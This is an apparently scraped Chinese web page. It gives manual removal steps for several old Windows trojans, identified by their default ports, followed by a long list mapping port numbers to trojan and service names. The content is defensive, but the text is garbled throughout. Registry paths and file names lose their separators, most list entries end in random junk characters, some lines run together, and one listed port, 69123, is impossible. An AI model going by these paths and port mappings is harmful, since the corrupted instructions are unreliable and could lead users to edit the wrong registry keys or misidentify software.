2、重新启动系统后删除C:WindowsSystem目录下的PServerexe文件

7306端口的关闭:

这个端口是木马程序网络精灵的默认服务端口,该木马删除方法如下:

1、你可以使用fport察看7306端口由哪个程序监听,记下程序名称和所在的路径

2、如果程序名为Netspyexe,你可以在命令行方式下到该程序所在目录输入命令Netspyexe /remove来删除木马

3、如果是其他名字的程序,请先在进程中结束该程序的进程,然后到相应目录下删除该程序。

4、编辑注册表,将HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows CurrentVersionRun项和HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows CurrentVersionRunServices项中与该程序有关的键值删除

7511端口的关闭:

7511是木马程序聪明基因的默认连接端口,该木马删除方法如下:

1、首先使用进程管理工具杀掉MBBManagerexe这个进程

2、删除c:Winnt(系统安装目录)中的MBBManagerexe和Explore32exe程序文件,删除c:Winntsystem32目录下的editorexe文件

3、编辑注册表,删除注册表HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersion

Run项中内容为C:WinNTMBBManagerexe键名为MainBroad BackManager的项。

4、修改注册表HKEY_CLASSES_ROOT xtfileshellopencommand中的c:Winntsystem32editorexe %1改为c:WinntNOTEPADEXE %1

5、修改注册表HKEY_LOCAL_MACHINESoftwareCLASSEShlpfileshellopencommand

项中的C:WinNTexplore32exe %1键值改为C:WinNTWinHLP32EXE %1

7626端口的关闭:

7626是木马冰河的默认开放端口(这个端口可以改变),木马删除方法如下:

1、启动机器到安全模式下,编辑注册表,删除HKEY_LOCAL_MACHINEsoftwaremicrosoftWindows CurrentVersionRun

项中内容为c:Winntsystem32Kernel32exe的键值

2、删除HKEY_LOCAL_MACHINEsoftwaremicrosoftWindows CurrentVersionRunservices项中内容为C:Windowssystem32Kernel32exe的键值

3、修改HKEY_CLASSES_ROOT xtfileshellopencommand项下的C:Winntsystem32Sysexplrexe %1为C:Winnt otepadexe %1

4、到C:Windowssystem32下删除文件Kernel32exe和Sysexplrexe

8011端口的关闭:

8011端口是木马程序WAY24的默认服务端口,该木马删除方法如下:

1、首先使用进程管理工具杀掉msgsvcexe的进程

2、到C:Windowssystem目录下删除msgsvcexe文件

3、编辑注册表,删除HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersion

Run项中内容为C:WinDOWSSYSTEMmsgsvcexe的键值

15=NETSTAT PORTsx!

21=Blade Runner, Doly Trojan, Fore, FTP trojan, Invisible FTP, Larva, ebEx, WinCrashlA

22=SSH PORTPFXP

23=Tiny Telnet Server:]nT

25=Shtrilitz Stealth, Terminator, WinPC, WinSpy, Kuang2 017A-030, Antigen, Email Password Sender, Haebu Coceda, Kuang2, ProMail trojan, TapiraswZ{\n

31=Agent 31, Hackers Paradise, Masters ParadiseW

41=DeepThroatAuwc\

53=DOMAIN PORT<

58=DMSetupZ^(a"

63=WHOIS PORTW

79=Firehotckerbi\

80=Executor 110=ProMail trojanK REK

90=DNS PORTo

101=HOSTNAME PORT!Dz`6d

110=POP3 PORTk3

121=JammerKillahI

137=NETBIOS Name Service PORTrB

138=NETBIOS Datagram Service PORTcI",

139=NETBIOS Session Service PORTm

194=IRC PORTBj

406=IMSP PORTi]_v

421=TCP Wrappers(L

456=Hackers ParadiseV%RWk

531=RasmindH

555=Ini-Killer, Phase Zero, Stealth Spy!7f

666=Attack FTP, Satanz Backdoorl9ulO&

911=Dark Shadowp

999=DeepThroat-

1001=Silencer, WebEx+s8K=

1011=Doly Trojan-vA

1012=Doly TrojanH=y}

1024=NetSpyy)

1045=RasminA'

1090=XtremeS

1095=RatP

1097=Ratq

1098=Rat8,p^#

1099=RatVx_+y

1170=Psyber Stream ServerL

1170=Voicep_

1234=Ultors Trojan=Qn]

1243=BackDoor-G, SubSeven-pD&

1245=VooDoo Doll|m>^|q

1349=BO DLLnm'0

1492=FTP99CMPYdWFu

1600=Shivka-Burka'dL

1807=SpySenderDP6

1080=SOCKS PORT$

1981=Shockrave(oRZR]

1999=BackDoor 100-103B

2001=Trojan CowKSiq

2023=RipperHF

2115=Bugs:(k5

2140=Deep ThroatQqM:l

2140=The Invasor(

2565=Striker;{p

2583=WinCrash$

2801=Phineas Phucker}\)

3024=WinCrash--

3129=Masters ParadiseAq/_Xn

3150=Deep Throat, The Invasor$UDD

3700=Portal of DoomPrd!

4092=WinCrash2c

4567=File Nailj~mR

4590=ICQTrojanz4$;

5000=Bubbel, Back Door Setup, Sockets de Troie$

5001=Back Door Setup, Sockets de TroieB(c

5321=Firehotcker$|

5400=Blade Runnerxg&%tf

5401=Blade Runner{ g

5402=Blade Runner

5550=JAPAN Trojan-xtcp@AGxs0

5555=ServeMe{SS

5556=BO Facil#]6

5557=BO Facil

5569=Robo-Hackx#>R

5742=WinCrash;+e[6

6400=The Thing&qhC

6666=IRC SERVER PORT~FW

6667=IRC CHAT PORToy[0U6

6670=DeepThroath@;

6711=SubSeven<K5y~

6771=DeepThroatH6rPCb

6776=BackDoor-G, SubSevenhD^i

6939=Indoctrination =xM}2

6969=GateCrasherzgX

6969=Priority"B

7000=Remote Grab,0

7300=NetMonitorI5X[

7301=NetMonitorJk3

7306=NetMonitorG

7307=NetMonitor[

7308=NetMonitorU

7626=G_Client Wi

7789=Back Door Setup, ICKiller9\Ns{

9872=Portal of Dooma<

9873=Portal of Doomvb_kO

9874=Portal of Doom C

9875=Portal of Doom0rO!5u

9989=iNi-Killer7[Kgt

10067=Portal of DoomF'Omq

10167=Portal of DoomX-v2RU

10520=Acid Shivers/

10607=ComaLKs}

11000=Senna Spyf/

11223=Progenic trojanFI{

12223=Hack9 KeyLogger:b

12345=GabanBus, NetBus, Pie Bill Gates, X-billG%UQP

12346=GabanBus, NetBus, X-bill6:fX

12361=Whack-a-moler{/ho

12362=Whack-a-moleY

12631=WhackJob('\Q

13000=Senna SpyL|

16969=Priority6"

20001=MillenniumCF<

20034=NetBus 2 Proo9

21544=GirlFriendo

22222=ProsiakP_Dv

23456=Evil FTP, Ugly FTPp

26274=Delta Source:

29891=The Unexplained4$sp

30029=AOL Trojan 30100=NetSphere 127a, NetSphere 131-&&g%

30101=NetSphere 131, NetSphere 127a(]C

30102=NetSphere 127a, NetSphere 13114

30103=NetSphere 1311Dqf

30303=Sockets de Troie=

31337=Baron Night, BO client, BO2, Bo Facil, BackFire, Back Orifice, DeepBOk&-

31338=NetSpy DK 31338=Back Orifice, DeepBOO)S<sk

31339=NetSpy DKcr4}|L

31666=BOWhackx

31785=Hack Attacktw8+z

31787=Hack AttackRA

31789=Hack Attack'3}f

31791=Hack Attack<u%"80

33333=Prosiak}

34324=BigGluck, TN4

40412=The SpyF:m

40421=Agent 40421, Masters Paradise+ND

40422=Masters Paradise4:

40423=Masters ParadiseSC0>J

40426=Masters Paradiseya

47262=Delta SourceY7C'Lw

50505=Sockets de TroieHec}<

50766=Foreb

53001=Remote Windows ShutdownK6

54321=School Bus 69-111Z

60000=Deep Throat>2s

61466=Telecommando] Y-

65000=DevilqHT8]<

69123=ShitHeep rO

以上就是关于怎么我用vc++6.0 建个win32 application 程序 360 报木马 Malware.QVM02.Gen全部的内容,包括:怎么我用vc++6.0 建个win32 application 程序 360 报木马 Malware.QVM02.Gen、谁知道svcname木马程序是干什么的、如何编写木马等相关内容解答,如果想了解更多相关内容,可以关注我们,你们的支持是我们更新的动力!

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zz/9703970.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-05-01
下一篇 2023-05-01

发表评论

登录后才能评论

评论列表(0条)

保存